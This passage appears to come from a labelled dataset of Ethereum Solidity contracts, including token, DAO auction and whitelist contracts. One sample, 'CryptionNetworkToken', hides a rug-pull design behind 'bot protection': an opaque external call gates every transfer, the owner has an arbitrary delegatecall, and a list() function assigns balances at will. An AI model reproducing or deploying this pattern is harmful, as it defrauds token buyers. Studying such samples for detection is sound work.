challengeNumber = block.blockhash(block.number - 1);
}
function _reAdjustDifficulty() internal {
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint epochsMined = _BLOCKS_PER_READJUSTMENT;
uint targetEthBlocksPerDiffPeriod = epochsMined * 60;
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra));
}else{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000);
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra));
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET)
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET)
{
miningTarget = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public constant returns (bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public constant returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint) {
return miningTarget;
}
function getMiningReward() public constant returns (uint) {
return (50 * 10**uint(decimals) ).div( 2**rewardEra ) ;
}
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
return digest;
}
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,899 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract Agreement {
bytes32 private agreementHash;
modifier onlyAgree(bytes32 _agreementHash) {
require(_agreementHash == agreementHash, "Sender must send the right agreementHash");
_;
}
function getAgreementHash() external view returns(bytes32)
{
return agreementHash;
}
function setAgreementHash(bytes32 _agreementHash) internal
{
require(agreementHash == bytes32(0), "Can not set agreement twice");
agreementHash = _agreementHash;
}
}
pragma solidity ^0.5.4;
contract Auction4Reputation is Agreement {
using SafeMath for uint256;
using SafeERC20 for address;
event Bid(address indexed _bidder, uint256 indexed _auctionId, uint256 _amount);
event Redeem(uint256 indexed _auctionId, address indexed _beneficiary, uint256 _amount);
struct Auction {
uint256 totalBid;
mapping(address=>uint) bids;
}
mapping(uint=>Auction) public auctions;
Avatar public avatar;
uint256 public reputationRewardLeft;
uint256 public auctionsEndTime;
uint256 public auctionsStartTime;
uint256 public numberOfAuctions;
uint256 public auctionReputationReward;
uint256 public auctionPeriod;
uint256 public redeemEnableTime;
IERC20 public token;
address public wallet;
function initialize(
Avatar _avatar,
uint256 _auctionReputationReward,
uint256 _auctionsStartTime,
uint256 _auctionPeriod,
uint256 _numberOfAuctions,
uint256 _redeemEnableTime,
IERC20 _token,
address _wallet,
bytes32 _agreementHash )
external
{
require(avatar == Avatar(0), "can be called only one time");
require(_avatar != Avatar(0), "avatar cannot be zero");
require(_numberOfAuctions > 0, "number of auctions cannot be zero");
require(_auctionPeriod > 15, "auctionPeriod should be > 15");
auctionPeriod = _auctionPeriod;
auctionsEndTime = _auctionsStartTime + _auctionPeriod.mul(_numberOfAuctions);
require(_redeemEnableTime >= auctionsEndTime, "_redeemEnableTime >= auctionsEndTime");
token = _token;
avatar = _avatar;
auctionsStartTime = _auctionsStartTime;
numberOfAuctions = _numberOfAuctions;
wallet = _wallet;
auctionReputationReward = _auctionReputationReward;
reputationRewardLeft = _auctionReputationReward.mul(_numberOfAuctions);
redeemEnableTime = _redeemEnableTime;
super.setAgreementHash(_agreementHash);
}
function redeem(address _beneficiary, uint256 _auctionId) public returns(uint256 reputation) {
require(now > redeemEnableTime, "now > redeemEnableTime");
Auction storage auction = auctions[_auctionId];
uint256 bid = auction.bids[_beneficiary];
require(bid > 0, "bidding amount should be > 0");
auction.bids[_beneficiary] = 0;
uint256 repRelation = bid.mul(auctionReputationReward);
reputation = repRelation.div(auction.totalBid);
reputationRewardLeft = reputationRewardLeft.sub(reputation);
require(
ControllerInterface(avatar.owner())
.mintReputation(reputation, _beneficiary, address(avatar)), "mint reputation should succeed");
emit Redeem(_auctionId, _beneficiary, reputation);
}
function bid(uint256 _amount, uint256 _auctionId, bytes32 _agreementHash)
public
onlyAgree(_agreementHash)
returns(uint256 auctionId)
{
require(_amount > 0, "bidding amount should be > 0");
require(now < auctionsEndTime, "bidding should be within the allowed bidding period");
require(now >= auctionsStartTime, "bidding is enable only after bidding auctionsStartTime");
address(token).safeTransferFrom(msg.sender, address(this), _amount);
auctionId = (now - auctionsStartTime) / auctionPeriod;
require(auctionId == _auctionId, "auction is not active");
Auction storage auction = auctions[auctionId];
auction.totalBid = auction.totalBid.add(_amount);
auction.bids[msg.sender] = auction.bids[msg.sender].add(_amount);
emit Bid(msg.sender, auctionId, _amount);
}
function getBid(address _bidder, uint256 _auctionId) public view returns(uint256) {
return auctions[_auctionId].bids[_bidder];
}
function transferToWallet() public {
require(now > auctionsEndTime, "now > auctionsEndTime");
uint256 tokenBalance = token.balanceOf(address(this));
address(token).safeTransfer(wallet, tokenBalance);
}
}
pragma solidity ^0.5.4;
contract DxGenAuction4Rep is Auction4Reputation {
constructor() public {}
}
pragma solidity ^0.5.4;
interface DxToken4RepInterface {
function claim(address _beneficiary, bytes32 _agreementHash) external returns(bytes32);
function redeem(address _beneficiary) external returns(uint256 reputation);
function getAgreementHash() external view returns(bytes32);
}
pragma solidity ^0.5.4;
contract DxDaoClaimRedeemHelper {
DxToken4RepInterface public dxLER;
DxToken4RepInterface public dxLMR;
DxToken4RepInterface public dxLWR;
DxGenAuction4Rep public dxGAR;
bytes32 public agreementHash;
constructor (
DxToken4RepInterface _dxLER,
DxToken4RepInterface _dxLMR,
DxToken4RepInterface _dxLWR,
DxGenAuction4Rep _dxGAR
) public {
require(address(_dxLER) != address(0));
require(address(_dxLMR) != address(0));
require(address(_dxLWR) != address(0));
require(address(_dxGAR) != address(0));
dxLER = _dxLER;
dxLMR = _dxLMR;
dxLWR = _dxLWR;
dxGAR = _dxGAR;
agreementHash = dxLMR.getAgreementHash();
}
enum DxTokenContracts4Rep {
dxLER,
dxLMR,
dxLWR,
dxGAR
}
function claimAll(
address[] calldata userAddresses,
DxTokenContracts4Rep mapIdx
)
external
returns(bytes32[] memory)
{
require(uint(mapIdx) < 3, "mapIdx cannot be greater than 2");
DxToken4RepInterface claimingContract;
if (mapIdx == DxTokenContracts4Rep.dxLER) {
claimingContract = dxLER;
} else if (mapIdx == DxTokenContracts4Rep.dxLMR) {
claimingContract = dxLMR;
} else if (mapIdx == DxTokenContracts4Rep.dxLWR) {
claimingContract = dxLWR;
}
uint length = userAddresses.length;
bytes32[] memory returnArray = new bytes32[](length);
for (uint i = 0; i < length; i++) {
returnArray[i] = claimingContract.claim(userAddresses[i], agreementHash);
}
return returnArray;
}
function redeemAll(
address[] calldata userAddresses,
DxTokenContracts4Rep mapIdx
)
external
returns(uint256[] memory)
{
require(uint(mapIdx) < 3, "mapIdx cannot be greater than 2");
DxToken4RepInterface redeemingContract;
if (mapIdx == DxTokenContracts4Rep.dxLER) {
redeemingContract = dxLER;
} else if (mapIdx == DxTokenContracts4Rep.dxLMR) {
redeemingContract = dxLMR;
} else if (mapIdx == DxTokenContracts4Rep.dxLWR) {
redeemingContract = dxLWR;
}
uint length = userAddresses.length;
uint256[] memory returnArray = new uint256[](length);
for (uint i = 0; i < length; i++) {
returnArray[i] = redeemingContract.redeem(userAddresses[i]);
}
return returnArray;
}
function redeemAllGAR(
address[] calldata userAddresses,
uint256[] calldata auctionIndices
)
external
returns(uint256[] memory)
{
require(userAddresses.length == auctionIndices.length, "userAddresses and auctioIndices must be the same length arrays");
uint length = userAddresses.length;
uint256[] memory returnArray = new uint256[](length);
for (uint i = 0; i < length; i++) {
returnArray[i] = dxGAR.redeem(userAddresses[i], auctionIndices[i]);
}
return returnArray;
}
} | 0 | 551 |
pragma solidity ^0.4.13;
contract CentraAsiaWhiteList {
using SafeMath for uint;
address public owner;
uint public operation;
mapping(uint => address) public operation_address;
mapping(uint => uint) public operation_amount;
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function CentraAsiaWhiteList() {
owner = msg.sender;
operation = 0;
}
function() payable {
if(msg.value < 0) throw;
if(this.balance > 47000000000000000000000) throw;
if(now > 1505865600)throw;
operation_address[operation] = msg.sender;
operation_amount[operation] = msg.value;
operation = operation.add(1);
}
function withdraw() onlyOwner returns (bool result) {
owner.send(this.balance);
return true;
}
}
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
} | 0 | 2,142 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal stopTheBots;
address public uniPair;
constructor(address _botProtection) {
stopTheBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = stopTheBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract CryptionNetworkToken is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Cryption Network Token";
string public symbol = "CNT";
IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wBNB = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairFor(wBNB, address(this));
allowance[address(this)][address(routerForUniswap)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForUniswap.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
stopTheBots.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 1,702 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
